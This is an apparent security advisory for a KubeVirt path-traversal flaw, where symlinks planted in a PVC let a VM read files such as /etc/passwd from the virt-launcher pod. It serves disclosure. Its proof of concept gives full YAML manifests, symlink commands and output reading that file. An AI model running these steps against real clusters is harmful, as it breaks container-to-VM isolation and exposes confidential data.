PT-2025-45763 · Go · Github.Com/Kubevirt/Kubevirt+1

Published

2025-11-06

·

Updated

2025-11-06

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

Short summary of the problem. Make the impact and severity as clear as possible.
Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the virt-launcher pod. This is due to erroneous handling of symlinks defined within a PVC.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.
Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:
yaml
# The YAML definition of two PVCs that the attacker has access to
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
 name: pvc-arbitrary-container-read-1
spec:
 accessModes:
  - ReadWriteMany # suitable for migration (:= RWX)
 resources:
  requests:
   storage: 500Mi
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
 name: pvc-arbitrary-container-read-2
spec:
 accessModes:
  - ReadWriteMany # suitable for migration (:= RWX)
 resources:
  requests:
   storage: 500Mi
---
# The attacker-controlled container used to create the symlinks in the above PVCs
apiVersion: v1
kind: Pod
metadata:
 name: dual-pvc-pod
spec:
 containers:
 - name: app-container
  image: alpine
  command: ["/some-vulnerable-app"]
  volumeMounts:
  - name: pvc-volume-one
   mountPath: /mnt/data1
  - name: pvc-volume-two
   mountPath: /mnt/data2
 volumes:
 - name: pvc-volume-one
  persistentVolumeClaim:
   claimName: pvc-arbitrary-container-read-1
 - name: pvc-volume-two
  persistentVolumeClaim:
   claimName: pvc-arbitrary-container-read-2
By default, Minikube's storage controller (hostpath-provisioner) will allocate the claim as a directory on the host node (HostPath). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:
bash
# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.

attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default arbitrary-container-read.xml disk.img
attacker@dual-pvc-pod:/mnt/data1 $ls -l
lrwxrwxrwx  1 root   root      85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default arbitrary-container-read.xml

# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM
attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img 
attacker@dual-pvc-pod:/mnt/data2 $ls -l
lrwxrwxrwx  1 root   root      34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd
Of course, these links could potentially be broken as the files, especially default arbitrary-container-read.xml, could not exist on the dual-pvc-pod pod's file system. The attacker then deploy the following VM:
yaml
# arbitrary-container-read.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
 name: arbitrary-container-read
spec:
 runStrategy: Always
 template:
  metadata:
   labels:
    kubevirt.io/size: small
    kubevirt.io/domain: arbitrary-container-read
  spec:
   domain:
    devices:
     disks:
      - name: containerdisk
       disk:
        bus: virtio
      - name: pvc-1
       disk:
        bus: virtio
      - name: pvc-2
       disk:
        bus: virtio
      - name: cloudinitdisk
       disk:
        bus: virtio
     interfaces:
     - name: default
      masquerade: {}
    resources:
     requests:
      memory: 64M
   networks:
   - name: default
    pod: {}
   volumes:
    - name: containerdisk
     containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo
    - name: pvc-1
     persistentVolumeClaim:
      claimName: pvc-arbitrary-container-read-1
    - name: pvc-2
     persistentVolumeClaim:
      claimName: pvc-arbitrary-container-read-2
    - name: cloudinitdisk
     cloudInitNoCloud:
      userDataBase64: SGkuXG4=
The two PVCs will be mounted as volumes in "filesystem" mode:
From the [documentation](https://kubevirt.io/user-guide/storage/disks and volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing disk.img is not owned by the unprivileged user with UID 107, the VM should fail to mount it. In addition, it's expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of virt-launcher is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the /etc/passwd and default migration.xml files from the virt-launcher pod's file system:
bash
# Deploy the VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml
virtualmachine.kubevirt.io/arbitrary-container-read created
# Observe the deployment status
operator@minikube:~$ kubectl get vmis
NAME            AGE  PHASE   IP      NODENAME    READY
arbitrary-container-read  80s  Running  10.244.1.9  minikube-m02  True
# Initiate a console connection to the running VM
operator@minikube:~$ virtctl console arbitrary-container-read
bash
# Within the `arbitrary-container-read` VM, inspect the available block devices
root@arbitrary-container-read:~$ lsblk
NAME  MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda   253:0  0  44M 0 disk
|-vda1 253:1  0  35M 0 part /
-vda15 253:15  0  8M 0 part
vdb   253:16  0  20K 0 disk
vdc   253:32  0 512B 0 disk
vdd   253:48  0  1M 0 disk
# Inspect the mounted /etc/passwd of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdc
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the mounted `default migration.xml` of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20
<!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
 virsh edit default arbitrary-container-read
or other application using the libvirt API.
-->
<domstatus state='paused' reason='starting up' pid='80'>
 <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default arbitrary-co/monitor.sock' type='unix'/>
 <vcpus>
 </vcpus>
 <qemuCaps>
  <flag name='hda-duplex'/>
  <flag name='piix3-usb-uhci'/>
  <flag name='piix4-usb-uhci'/>
  <flag name='usb-ehci'/>
  <flag name='ich9-usb-ehci1'/>
  <flag name='usb-redir'/>
  <flag name='usb-hub'/>
  <flag name='ich9-ahci'/>
bash
operator@minikube:~$ kubectl get pods
NAME                      READY  STATUS  RESTARTS  AGE
dual-pvc-pod                  1/1   Running  0     20m
virt-launcher-arbitrary-container-read-tn4mb  3/3   Running  0     15m
# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash 

# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod 
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd
-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd

Impact

What kind of vulnerability is it? Who is impacted?
This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-22

Related Identifiers

GHSA-QW6Q-3PGR-5CWQ

Affected Products

Github.Com/Kubevirt/Kubevirt
Kubevirt.Io/Kubevirt